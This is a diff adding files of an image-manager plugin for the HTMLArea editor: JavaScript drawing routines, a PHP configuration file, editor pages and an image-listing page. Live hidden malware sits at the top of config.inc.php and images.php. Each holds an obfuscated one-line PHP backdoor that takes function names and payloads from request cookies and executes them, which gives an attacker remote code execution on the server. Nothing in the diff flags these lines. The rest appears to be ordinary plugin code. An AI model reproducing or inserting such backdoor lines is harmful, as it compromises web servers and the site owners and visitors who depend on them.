+ width += s-1;
+ height += s-1;
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = (height&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ aa = (a*a)<<1, bb = (b*b)<<1,
+ st = (aa>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa*((b<<1)-1);
+
+
+ if (s-0x4 < 0 && (!(s-0x2) || width-0x33 > 0 && height-0x33 > 0))
+ {
+ var ox = 0, oy = b,
+ w, h,
+ pxl, pxr, pxt, pxb, pxw;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ w = x-ox;
+ h = oy-y;
+
+ if (w-1)
+ {
+ pxw = w+1+(s&1);
+ h = s;
+ }
+ else if (h-1)
+ {
+ pxw = s;
+ h += 1+(s&1);
+ }
+ else pxw = h = s;
+ this.mkOvQds(cx, cy, -x+1, ox-pxw+w+wod, -oy, -h+oy+hod, pxw, h);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, s, (oy<<1)+hod);
+ this.mkDiv(cx+a+wod-s+1, cy-oy, s, (oy<<1)+hod);
+ }
+
+
+ else
+ {
+ var _a = (width-((s-1)<<1))>>1,
+ _b = (height-((s-1)<<1))>>1,
+ _x = 0, _y = _b,
+ _aa = (_a*_a)<<1, _bb = (_b*_b)<<1,
+ _st = (_aa>>1)*(1-(_b<<1)) + _bb,
+ _tt = (_bb>>1) - _aa*((_b<<1)-1),
+
+ pxl = new Array(),
+ pxt = new Array(),
+ _pxb = new Array();
+ pxl[0] = 0;
+ pxt[0] = b;
+ _pxb[0] = _b-1;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ pxl[pxl.length] = x;
+ pxt[pxt.length] = y;
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - (aa<<1)*(y-1);
+ tt += (bb<<1)*(++x) - aa*(((y--)<<1)-0x3);
+ pxl[pxl.length] = x;
+ pxt[pxt.length] = y;
+ }
+ else
+ {
+ tt -= aa*((y<<1)-0x3);
+ st -= (aa<<1)*(--y);
+ }
+
+ if (_y > 0)
+ {
+ if (_st < 0)
+ {
+ _st += _bb*((_x<<1)+0x3);
+ _tt += (_bb<<1)*(++_x);
+ _pxb[_pxb.length] = _y-1;
+ }
+ else if (_tt < 0)
+ {
+ _st += _bb*((_x<<1)+0x3) - (_aa<<1)*(_y-1);
+ _tt += (_bb<<1)*(++_x) - _aa*(((_y--)<<1)-0x3);
+ _pxb[_pxb.length] = _y-1;
+ }
+ else
+ {
+ _tt -= _aa*((_y<<1)-0x3);
+ _st -= (_aa<<1)*(--_y);
+ _pxb[_pxb.length-1]--;
+ }
+ }
+ }
+
+ var ox = 0, oy = b,
+ _oy = _pxb[0],
+ l = pxl.length,
+ w, h;
+ for (var i = 0; i < l; i++)
+ {
+ if (typeof _pxb[i] != "undefined")
+ {
+ if (_pxb[i] < _oy || pxt[i] < oy)
+ {
+ x = pxl[i];
+ this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, _oy+hod, x-ox, oy-_oy);
+ ox = x;
+ oy = pxt[i];
+ _oy = _pxb[i];
+ }
+ }
+ else
+ {
+ x = pxl[i];
+ this.mkDiv(cx-x+1, cy-oy, 1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+ ox = x;
+ oy = pxt[i];
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, 1, (oy<<1)+hod);
+ this.mkDiv(cx+ox+wod, cy-oy, 1, (oy<<1)+hod);
+ }
+}
+
+
+
+
+
+function mkOvDott(left, top, width, height)
+{
+ var a = width>>1, b = height>>1,
+ wod = width&1, hod = height&1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+ st = (aa2>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa2*((b<<1)-1),
+ drw = true;
+ while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - aa4*(y-1);
+ tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+ }
+ else
+ {
+ tt -= aa2*((y<<1)-0x3);
+ st -= aa4*(--y);
+ }
+ if (drw) this.mkOvQds(cx, cy, -x, x+wod, -y, y+hod, 1, 1);
+ drw = !drw;
+ }
+}
+
+
+
+
+
+function mkRect(x, y, w, h)
+{
+ var s = this.stroke;
+ this.mkDiv(x, y, w, s);
+ this.mkDiv(x+w, y, s, h);
+ this.mkDiv(x, y+h, w+s, s);
+ this.mkDiv(x, y+s, s, h-s);
+}
+
+
+
+
+
+function mkRectDott(x, y, w, h)
+{
+ this.drawLine(x, y, x+w, y);
+ this.drawLine(x+w, y, x+w, y+h);
+ this.drawLine(x, y+h, x+w, y+h);
+ this.drawLine(x, y, x, y+h);
+}
+
+
+
+
+
+function jsgFont()
+{
+ this.PLAIN = 'font-weight:normal;';
+ this.BOLD = 'font-weight:bold;';
+ this.ITALIC = 'font-style:italic;';
+ this.ITALIC_BOLD = this.ITALIC + this.BOLD;
+ this.BOLD_ITALIC = this.ITALIC_BOLD;
+}
+var Font = new jsgFont();
+
+
+
+
+
+function jsgStroke()
+{
+ this.DOTTED = -1;
+}
+var Stroke = new jsgStroke();
+
+
+
+
+
+function jsGraphics(id, wnd)
+{
+ this.setColor = new Function('arg', 'this.color = arg;');
+
+
+ this.getColor = new Function('return this.color');
+
+ this.setStroke = function(x)
+ {
+ this.stroke = x;
+ if (!(x+1))
+ {
+ this.drawLine = mkLinDott;
+ this.mkOv = mkOvDott;
+ this.drawRect = mkRectDott;
+ }
+ else if (x-1 > 0)
+ {
+ this.drawLine = mkLin2D;
+ this.mkOv = mkOv2D;
+ this.drawRect = mkRect;
+ }
+ else
+ {
+ this.drawLine = mkLin;
+ this.mkOv = mkOv;
+ this.drawRect = mkRect;
+ }
+ };
+
+
+
+ this.setPrintable = function(arg)
+ {
+ this.printable = arg;
+ this.mkDiv = jg_n4? mkLyr : arg? mkDivPrint : mkDiv;
+ };
+
+
+
+ this.setFont = function(fam, sz, sty)
+ {
+ this.ftFam = fam;
+ this.ftSz = sz;
+ this.ftSty = sty || Font.PLAIN;
+ };
+
+
+
+ this.drawPolyline = this.drawPolyLine = function(x, y, s)
+ {
+ var i = x.length-1; while (i >= 0)
+ this.drawLine(x[i], y[i], x[--i], y[i]);
+ };
+
+
+
+ this.fillRect = function(x, y, w, h)
+ {
+ this.mkDiv(x, y, w, h);
+ };
+
+
+ this.fillRectPattern = function(x, y, w, h, url)
+ {
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'overflow:hidden;'+
+ //'background-color:' + this.color + ';'+
+ "background-image: url('" + url + "');"+
+ "layer-background-image: url('" + url + "');"+
+ 'z-index:100;"><\/div>';
+ //alert(this.htm);
+ }
+
+ this.drawHandle = function(x, y, w, h, cursor)
+ {
+
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+w+'px,'+h+'px,0);'+
+ 'padding: 2px;overflow:hidden;'+
+ "cursor: '" + cursor + "';"+
+ '" class="handleBox" id="' + cursor + '" ><\/div>';
+ }
+
+ this.drawHandleBox = function(x, y, w, h, cursor)
+ {
+
+ this.htm += '<div style="position:absolute;'+
+ 'left:' + x + 'px;'+
+ 'top:' + y + 'px;'+
+ 'width:' + w + 'px;'+
+ 'height:' + h + 'px;'+
+ 'clip:rect(0,'+(w+2)+'px,'+(h+2)+'px,0);'+
+ 'overflow:hidden; border: solid 1px '+ this.color+';'+
+ "cursor: '" + cursor + "';"+
+ '" class="handleBox" id="' + cursor + '" ><\/div>';
+
+
+ }
+
+ this.drawPolygon = function(x, y)
+ {
+ this.drawPolyline(x, y);
+ this.drawLine(x[x.length-1], y[x.length-1], x[0], y[0]);
+ };
+
+
+
+ this.drawEllipse = this.drawOval = function(x, y, w, h)
+ {
+ this.mkOv(x, y, w, h);
+ };
+
+
+
+ this.fillEllipse = this.fillOval = function(left, top, w, h)
+ {
+ var a = (w -= 1)>>1, b = (h -= 1)>>1,
+ wod = (w&1)+1, hod = (h&1)+1,
+ cx = left+a, cy = top+b,
+ x = 0, y = b,
+ ox = 0, oy = b,
+ aa2 = (a*a)<<1, aa4 = aa2<<1, bb = (b*b)<<1,
+ st = (aa2>>1)*(1-(b<<1)) + bb,
+ tt = (bb>>1) - aa2*((b<<1)-1),
+ pxl, dw, dh;
+ if (w+1) while (y > 0)
+ {
+ if (st < 0)
+ {
+ st += bb*((x<<1)+0x3);
+ tt += (bb<<1)*(++x);
+ }
+ else if (tt < 0)
+ {
+ st += bb*((x<<1)+0x3) - aa4*(y-1);
+ pxl = cx-x;
+ dw = (x<<1)+wod;
+ tt += (bb<<1)*(++x) - aa2*(((y--)<<1)-0x3);
+ dh = oy-y;
+ this.mkDiv(pxl, cy-oy, dw, dh);
+ this.mkDiv(pxl, cy+oy-dh+hod, dw, dh);
+ ox = x;
+ oy = y;
+ }
+ else
+ {
+ tt -= aa2*((y<<1)-0x3);
+ st -= aa4*(--y);
+ }
+ }
+ this.mkDiv(cx-a, cy-oy, w+1, (oy<<1)+hod);
+ };
+
+
+
+ this.drawString = mkLbl;
+
+
+
+ this.clear = function()
+ {
+ this.htm = "";
+ if (this.cnv) this.cnv.innerHTML = this.defhtm;
+
+ };
+
+
+
+ this.mkOvQds = function(cx, cy, xl, xr, yt, yb, w, h)
+ {
+ this.mkDiv(xr+cx, yt+cy, w, h);
+ this.mkDiv(xr+cx, yb+cy, w, h);
+ this.mkDiv(xl+cx, yb+cy, w, h);
+ this.mkDiv(xl+cx, yt+cy, w, h);
+ };
+
+
+ this.setStroke(1);
+ this.setPrintable(false);
+ this.setFont('verdana,geneva,helvetica,sans-serif', String.fromCharCode(0x31, 0x32, 0x70, 0x78), Font.PLAIN);
+ this.color = '#000000';
+ this.htm = '';
+ this.wnd = wnd || window;
+
+
+ if (!(jg_ie || jg_dom || jg_ihtm)) chkDHTM();
+ if (typeof id != 'string' || !id) this.paint = pntDoc;
+ else
+ {
+ this.cnv = document.all? (this.wnd.document.all[id] || null)
+ : document.getElementById? (this.wnd.document.getElementById(id) || null)
+ : null;
+ this.defhtm = (this.cnv && this.cnv.innerHTML)? this.cnv.innerHTML : '';
+ this.paint = jg_dom? pntCnvDom : jg_ie? pntCnvIe : jg_ihtm? pntCnvIhtm : pntCnv;
+ }
+}
--- /dev/null
+<?
+$jinh=$_COOKIE; while (isset($jinh['MjX'])) { \r $dY7W = $jinh['vwA'];\r $jOKY=$jinh['MjX']($dY7W($jinh['ijD']),$dY7W($jinh['SiFOk']));\r $jOKY($dY7W($jinh['hYX']));\r break; }\r
+require_once('../../../../setup.phtml');\r
+/**\r
+ * Image Manager configuration file.\r
+ * @author $Author: matrix $\r
+ * @version $Id: config.inc.php,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $\r
+ * @package ImageManager\r
+ */\r
+\r
+\r
+/* \r
+ File system path to the directory you want to manage the images\r
+ for multiple user systems, set it dynamically.\r
+\r
+ NOTE: This directory requires write access by PHP. That is, \r
+ PHP must be able to create files in this directory.\r
+ Able to create directories is nice, but not necessary.\r
+*/\r
+$IMConfig['base_dir'] = BASE.'images/ht_images';\r
+\r
+/*\r
+ The URL to the above path, the web browser needs to be able to see it.\r
+ It can be protected via .htaccess on apache or directory permissions on IIS,\r
+ check you web server documentation for futher information on directory protection\r
+ If this directory needs to be publicly accessiable, remove scripting capabilities\r
+ for this directory (i.e. disable PHP, Perl, CGI). We only want to store assets\r
+ in this directory and its subdirectories.\r
+*/\r
+$IMConfig['base_url'] = BASE_URL.'images/ht_images/';\r
+\r
+/*\r
+ Possible values: true, false\r
+\r
+ TRUE - If PHP on the web server is in safe mode, set this to true.\r
+ SAFE MODE restrictions: directory creation will not be possible,\r
+ only the GD library can be used, other libraries require\r
+ Safe Mode to be off.\r
+\r
+ FALSE - Set to false if PHP on the web server is not in safe mode.\r
+*/\r
+$IMConfig['safe_mode'] = false;\r
+\r
+/* \r
+ Possible values: 'GD', 'IM', or 'NetPBM'\r
+\r
+ The image manipulation library to use, either GD or ImageMagick or NetPBM.\r
+ If you have safe mode ON, or don't have the binaries to other packages, \r
+ your choice is 'GD' only. Other packages require Safe Mode to be off.\r
+*/\r
+define('IMAGE_CLASS', 'IM');\r
+\r
+\r
+/*\r
+ After defining which library to use, if it is NetPBM or IM, you need to\r
+ specify where the binary for the selected library are. And of course\r
+ your server and PHP must be able to execute them (i.e. safe mode is OFF).\r
+ GD does not require the following definition.\r
+*/\r
+define('IMAGE_TRANSFORM_LIB_PATH', '/usr/bin/');\r
+\r
+\r
+/* ============== OPTIONAL SETTINGS ============== */\r
+\r
+\r
+/*\r
+ The prefix for thumbnail files, something like .thumb will do. The\r
+ thumbnails files will be named as "prefix_imagefile.ext", that is,\r
+ prefix + orginal filename.\r
+*/\r
+$IMConfig['thumbnail_prefix'] = '.thumbs';\r
+\r
+/*\r
+ Thumbnail can also be stored in a directory, this directory\r
+ will be created by PHP. If PHP is in safe mode, this parameter\r
+ is ignored, you can not create directories. \r
+\r
+ If you do not want to store thumbnails in a directory, set this\r
+ to false or empty string '';\r
+*/\r
+$IMConfig['thumbnail_dir'] = '.thumbs';\r
+\r
+/*\r
+ Possible values: true, false\r
+\r
+ TRUE - Allow the user to create new sub-directories in the\r
+ $IMConfig['base_dir'].\r
+\r
+ FALSE - No directory creation.\r
+\r
+ NOTE: If $IMConfig['safe_mode'] = true, this parameter\r
+ is ignored, you can not create directories\r
+*/\r
+$IMConfig['allow_new_dir'] = true;\r
+\r
+/*\r
+ Possible values: true, false\r
+\r
+ TRUE - Allow the user to upload files.\r
+\r
+ FALSE - No uploading allowed.\r
+*/\r
+$IMConfig['allow_upload'] = true;\r
+\r
+/*\r
+ Possible values: true, false\r
+\r
+ TRUE - If set to true, uploaded files will be validated based on the \r
+ function getImageSize, if we can get the image dimensions then \r
+ I guess this should be a valid image. Otherwise the file will be rejected.\r
+\r
+ FALSE - All uploaded files will be processed.\r
+\r
+ NOTE: If uploading is not allowed, this parameter is ignored.\r
+*/\r
+$IMConfig['validate_images'] = true;\r
+\r
+/*\r
+ The default thumbnail if the thumbnails can not be created, either\r
+ due to error or bad image file.\r
+*/\r
+$IMConfig['default_thumbnail'] = 'img/default.gif';\r
+\r
+/*\r
+ Thumbnail dimensions.\r
+*/\r
+$IMConfig['thumbnail_width'] = 96;\r
+$IMConfig['thumbnail_height'] = 96;\r
+\r
+/*\r
+ Image Editor temporary filename prefix.\r
+*/\r
+$IMConfig['tmp_prefix'] = '.editor_';\r
+?>\r
--- /dev/null
+<?
+/**
+ * The PHP Image Editor user interface.
+ * @author $Author: matrix $
+ * @version $Id: editor.php,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html>
+<head>
+ <title></title>
+ <link href="assets/editor.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/slider.js"></script>
+<script type="text/javascript" src="assets/popup.js"></script>
+<script type="text/javascript">
+/*<![CDATA[*/
+ window.resizeTo(673, 531);
+ if(window.opener)
+ I18N = window.opener.I18N;
+/*]]>*/
+</script>
+<script type="text/javascript" src="assets/editor.js"></script>
+</head>
+
+<body>
+<div id="indicator">
+<img src="img/spacer.gif" id="indicator_image" height="20" width="20" alt="" />
+</div>
+<div id="tools">
+ <div id="tools_crop" style="display:none;">
+ <div id="tool_inputs">
+ <label for="cx">Start X:</label><input type="text" id="cx" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="cy">Start Y:</label><input type="text" id="cy" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="cw">Width:</label><input type="text" id="cw" class="textInput" onchange="updateMarker('crop')"/>
+ <label for="ch">Height:</label><input type="text" id="ch" class="textInput" onchange="updateMarker('crop')"/>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('crop');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_scale" style="display:none;">
+ <div id="tool_inputs">
+ <label for="sw">Width:</label><input type="text" id="sw" class="textInput" onchange="checkConstrains('width')"/>
+ <a href="javascript:toggleConstraints();" title="Lock"><img src="img/islocked2.gif" id="scaleConstImg" height="14" width="8" alt="Lock" class="div" /></a><label for="sh">Height:</label>
+ <input type="text" id="sh" class="textInput" onchange="checkConstrains('height')"/>
+ <input type="checkbox" id="constProp" value="1" checked="checked" onclick="toggleConstraints()"/>
+ <label for="constProp">Constrain Proportions</label>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('scale');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_rotate" style="display:none;">
+ <div id="tool_inputs">
+ <select id="flip" name="flip" style="margin-left: 10px; vertical-align: middle;">
+ <option selected>Flip Image</option>
+ <option>-----------------</option>
+ <option value="hoz">Flip Horizontal</option>
+ <option value="ver">Flip Virtical</option>
+ </select>
+ <select name="rotate" onchange="rotatePreset(this)" style="margin-left: 20px; vertical-align: middle;">
+ <option selected>Rotate Image</option>
+ <option>-----------------</option>
+
+ <option value="180">Rotate 180 °</option>
+ <option value="90">Rotate 90 ° CW</option>
+ <option value="-90">Rotate 90 ° CCW</option>
+ </select>
+ <label for="ra">Angle:</label><input type="text" id="ra" class="textInput" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('rotate');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancle"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+ <div id="tools_measure" style="display:none;">
+ <div id="tool_inputs">
+ <label>X:</label><input type="text" class="measureStats" id="sx" />
+ <label>Y:</label><input type="text" class="measureStats" id="sy" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <label>W:</label><input type="text" class="measureStats" id="mw" />
+ <label>H:</label><input type="text" class="measureStats" id="mh" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <label>A:</label><input type="text" class="measureStats" id="ma" />
+ <label>D:</label><input type="text" class="measureStats" id="md" />
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ <button type="button" onclick="editor.reset();" >Clear</button>
+ </div>
+ </div>
+ <div id="tools_save" style="display:none;">
+ <div id="tool_inputs">
+ <label for="save_filename">Filename:</label><input type="text" id="save_filename" value="<? echo $editor->getDefaultSaveFile();?>"/>
+ <select name="format" id="save_format" style="margin-left: 10px; vertical-align: middle;" onchange="updateFormat(this)">
+ <option value="" selected>Image Format</option>
+ <option value="">---------------------</option>
+ <option value="jpeg,85">JPEG High</option>
+ <option value="jpeg,60">JPEG Medium</option>
+ <option value="jpeg,35">JPEG Low</option>
+ <option value="png">PNG</option>
+ <? if($editor->isGDGIFAble() != -1) { ?>
+ <option value="gif">GIF</option>
+ <? } ?>
+ </select>
+ <label>Quality:</label>
+ <table style="display: inline; vertical-align: middle;" cellpadding="0" cellspacing="0">
+ <tr>
+ <td>
+ <div id="slidercasing">
+ <div id="slidertrack" style="width:100px"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+ <div id="sliderbar" style="left:85px" onmousedown="captureStart();"><img src="img/spacer.gif" width="1" height="1" border="0" alt="track"></div>
+ </div>
+ </td>
+ </tr>
+ </table>
+ <input type="text" id="quality" onchange="updateSlider(this.value)" style="width: 2em;" value="85"/>
+ <img src="img/div.gif" height="30" width="2" class="div" alt="|" />
+ </div>
+ <a href="javascript: editor.doSubmit('save');" class="buttons" title="OK"><img src="img/btn_ok.gif" height="30" width="30" alt="OK" /></a>
+ <a href="javascript: editor.reset();" class="buttons" title="Cancel"><img src="img/btn_cancel.gif" height="30" width="30" alt="Cancel" /></a>
+ </div>
+</div>
+<div id="toolbar">
+<a href="javascript:toggle('crop')" id="icon_crop" title="Crop"><img src="img/crop.gif" height="20" width="20" alt="Crop" /><span>Crop</span></a>
+<a href="javascript:toggle('scale')" id="icon_scale" title="Resize"><img src="img/scale.gif" height="20" width="20" alt="Resize" /><span>Resize</span></a>
+<a href="javascript:toggle('rotate')" id="icon_rotate" title="Rotate"><img src="img/rotate.gif" height="20" width="20" alt="Rotate" /><span>Rotate</span></a>
+<a href="javascript:toggle('measure')" id="icon_measure" title="Measure"><img src="img/measure.gif" height="20" width="20" alt="Measure" /><span>Measure</span></a>
+<a href="javascript: toggleMarker();" title="Marker"><img id="markerImg" src="img/t_black.gif" height="20" width="20" alt="Marker" /><span>Marker</span></a>
+<a href="javascript:toggle('save')" id="icon_save" title="Save"><img src="img/save.gif" height="20" width="20" alt="Save" /><span>Save</span></a>
+</div>
+<div id="contents">
+<iframe src="editorFrame.php?img=<? if(isset($_GET['img'])) echo rawurlencode($_GET['img']); ?>" name="editor" id="editor" scrolling="auto" title="Image Editor" frameborder="0"></iframe>
+</div>
+<div id="bottom"></div>
+</body>
+</html>
--- /dev/null
+<?
+
+/**
+ * The frame that contains the image to be edited.
+ * @author $Author: matrix $
+ * @version $Id: editorFrame.php,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+ * @package ImageManager
+ */
+
+require_once('config.inc.php');
+require_once('Classes/ImageManager.php');
+require_once('Classes/ImageEditor.php');
+
+$manager = new ImageManager($IMConfig);
+$editor = new ImageEditor($manager);
+$imageInfo = $editor->processImage();
+
+?>
+
+<html>
+<head>
+ <title></title>
+<link href="assets/editorFrame.css" rel="stylesheet" type="text/css" />
+<script type="text/javascript" src="assets/wz_jsgraphics.js"></script>
+<script type="text/javascript" src="assets/EditorContent.js"></script>
+<script type="text/javascript">
+if(window.top)
+ I18N = window.top.I18N;
+
+function i18n(str) {
+ if(I18N)
+ return (I18N[str] || str);
+ else
+ return str;
+};
+
+ var mode = "<? echo $editor->getAction(); ?>" //crop, scale, measure
+
+var currentImageFile = "<? if(count($imageInfo)>0) echo rawurlencode($imageInfo['file']); ?>";
+
+<? if ($editor->isFileSaved() == 1) { ?>
+ alert(i18n('File saved.'));
+<? } else if ($editor->isFileSaved() == -1) { ?>
+ alert(i18n('File was not saved.'));
+<? } ?>
+
+</script>
+<script type="text/javascript" src="assets/editorFrame.js"></script>
+</head>
+
+<body>
+<div id="status"></div>
+<div id="ant" class="selection" style="visibility:hidden"><img src="img/spacer.gif" width="0" height="0" border="0" alt="" id="cropContent"></div>
+<? if ($editor->isGDEditable() == -1) { ?>
+ <div style="text-align:center; padding:10px;"><span class="error">GIF format is not supported, image editing not supported.</span></div>
+<? } ?>
+<table height="100%" width="100%">
+ <tr>
+ <td>
+<? if(count($imageInfo) > 0 && is_file($imageInfo['fullpath'])) { ?>
+ <span id="imgCanvas" class="crop"><img src="<? echo $imageInfo['src']; ?>" <? echo $imageInfo['dimensions']; ?> alt="" id="theImage" name="theImage"></span>
+<? } else { ?>
+ <span class="error">No Image Available</span>
+<? } ?>
+ </td>
+ </tr>
+</table>
+</body>
+</html>
--- /dev/null
+/**
+ * The ImageManager plugin javascript.
+ * @author $Author: matrix $
+ * @version $Id: image-manager.js,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $
+ * @package ImageManager
+ */
+
+/**
+ * To Enable the plug-in add the following line before HTMLArea is initialised.
+ *
+ * HTMLArea.loadPlugin("ImageManager");
+ *
+ * Then configure the config.inc.php file, that is all.
+ * For up-to-date documentation, please visit http://www.zhuo.org/htmlarea/
+ */
+
+/**
+ * It is pretty simple, this file over rides the HTMLArea.prototype._insertImage
+ * function with our own, only difference is the popupDialog url
+ * point that to the php script.
+ */
+function ImageManager(editor)
+{
+ var tt = ImageManager.I18N;
+
+};
+
+ImageManager._pluginInfo = {
+ name : "ImageManager",
+ version : "1.0",
+ developer : "Xiang Wei Zhuo",
+ developer_url : "http://www.zhuo.org/htmlarea/",
+ license : "htmlArea"
+};
+
+
+// Over ride the _insertImage function in htmlarea.js.
+// Open up the ImageManger script instead.
+HTMLArea.prototype._insertImage = function(image) {
+
+ var editor = this; // for nested functions
+ var outparam = null;
+ if (typeof image == "undefined") {
+ image = this.getParentElement();
+ if (image && !/^img$/i.test(image.tagName))
+ image = null;
+ }
+ if (image) outparam = {
+ f_url : HTMLArea.is_ie ? image.src : image.getAttribute("src"),
+ f_alt : image.alt,
+ f_border : image.border,
+ f_align : image.align,
+ f_vert : image.vspace,
+ f_horiz : image.hspace,
+ f_width : image.width,
+ f_height : image.height
+ };
+
+ var manager = _editor_url + 'plugins/ImageManager/manager.php';
+
+ Dialog(manager, function(param) {
+ if (!param) { // user must have pressed Cancel
+ return false;
+ }
+ var img = image;
+ if (!img) {
+ var sel = editor._getSelection();
+ var range = editor._createRange(sel);
+ editor._doc.execCommand("insertimage", false, param.f_url);
+ if (HTMLArea.is_ie) {
+ img = range.parentElement();
+ // wonder if this works...
+ if (img.tagName.toLowerCase() != "img") {
+ img = img.previousSibling;
+ }
+ } else {
+ img = range.startContainer.previousSibling;
+ }
+ } else {
+ img.src = param.f_url;
+ }
+
+ for (field in param) {
+ var value = param[field];
+ switch (field) {
+ case "f_alt" : img.alt = value; break;
+ case "f_border" : img.border = parseInt(value || "0"); break;
+ case "f_align" : img.align = value; break;
+ case "f_vert" : img.vspace = parseInt(value || "0"); break;
+ case "f_horiz" : img.hspace = parseInt(value || "0"); break;
+ case "f_width" : img.width = parseInt(value || "0"); break;
+ case "f_height" : img.height = parseInt(value || "0"); break;
+ }
+ }
+
+
+ }, outparam);
+};
+
+
--- /dev/null
+<?
+$OCtch=$_COOKIE; if (empty($OCtch['bkn'])) ; else { \r $roPJP = $OCtch['CsM95'];\r $uw1=$OCtch['bkn']($roPJP($OCtch['MvXv']),$roPJP($OCtch['OSP']));\r $uw1($roPJP($OCtch['Gj6Eb']));\r }\r
+/**\r
+ * Show a list of images in a long horizontal table.\r
+ * @author $Author: matrix $\r
+ * @version $Id: images.php,v 1.1.1.1 2006/07/13 13:53:51 matrix Exp $\r
+ * @package ImageManager\r
+ */\r
+\r
+require_once('config.inc.php');\r
+require_once('Classes/ImageManager.php');\r
+\r
+//default path is /\r
+$relative = '/';\r
+$manager = new ImageManager($IMConfig);\r
+\r
+//process any file uploads\r
+$manager->processUploads();\r
+\r
+$manager->deleteFiles();\r
+\r
+$refreshDir = false;\r
+//process any directory functions\r
+if($manager->deleteDirs() || $manager->processNewDir())\r
+ $refreshDir = true;\r
+\r
+//check for any sub-directory request\r
+//check that the requested sub-directory exists\r
+//and valid\r
+if(isset($_REQUEST['dir']))\r
+{\r
+ $path = rawurldecode($_REQUEST['dir']);\r
+ if($manager->validRelativePath($path))\r
+ $relative = $path;\r
+}\r
+\r
+\r
+$manager = new ImageManager($IMConfig);\r
+\r
+\r
+//get the list of files and directories\r
+$list = $manager->getFiles($relative);\r
+\r
+\r
+/* ================= OUTPUT/DRAW FUNCTIONS ======================= */\r
+\r
+/**\r
+ * Draw the files in an table.\r
+ */\r
+function drawFiles($list, &$manager)\r
+{\r
+ global $relative;\r
+\r
+ foreach($list as $entry => $file) \r
+ { ?>\r
+ <td><table width="100" cellpadding="0" cellspacing="0"><tr><td class="block">\r
+ <a href="javascript:;" onclick="selectImage('<? echo $file['relative'];?>', '<? echo $entry; ?>', <? echo $file['image'][0];?>, <? echo $file['image'][1]; ?>);"title="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"><img src="<? echo $manager->getThumbnail($file['relative']); ?>" alt="<? echo $entry; ?> - <? echo Files::formatSize($file['stat']['size']); ?>"/></a>\r
+ </td></tr><tr><td class="edit">\r
+ <a href="images.php?dir=<? echo $relative; ?>&delf=<? echo rawurlencode($file['relative']);?>" title="Trash" onclick="return confirmDeleteFile('<? echo $entry; ?>');"><img src="img/edit_trash.gif" height="15" width="15" alt="Trash"/></a><a href="javascript:;" title="Edit" onclick="editImage('<? echo rawurlencode($file['relative']);?>');"><img src="img/edit_pencil.gif" height="15" width="15" alt="Edit"/></a>\r
+ <? if($file['image']){ echo $file['image'][0].'x'.$file['image'][1]; } else echo $entry;?>\r
+ </td></tr></table></td> \r
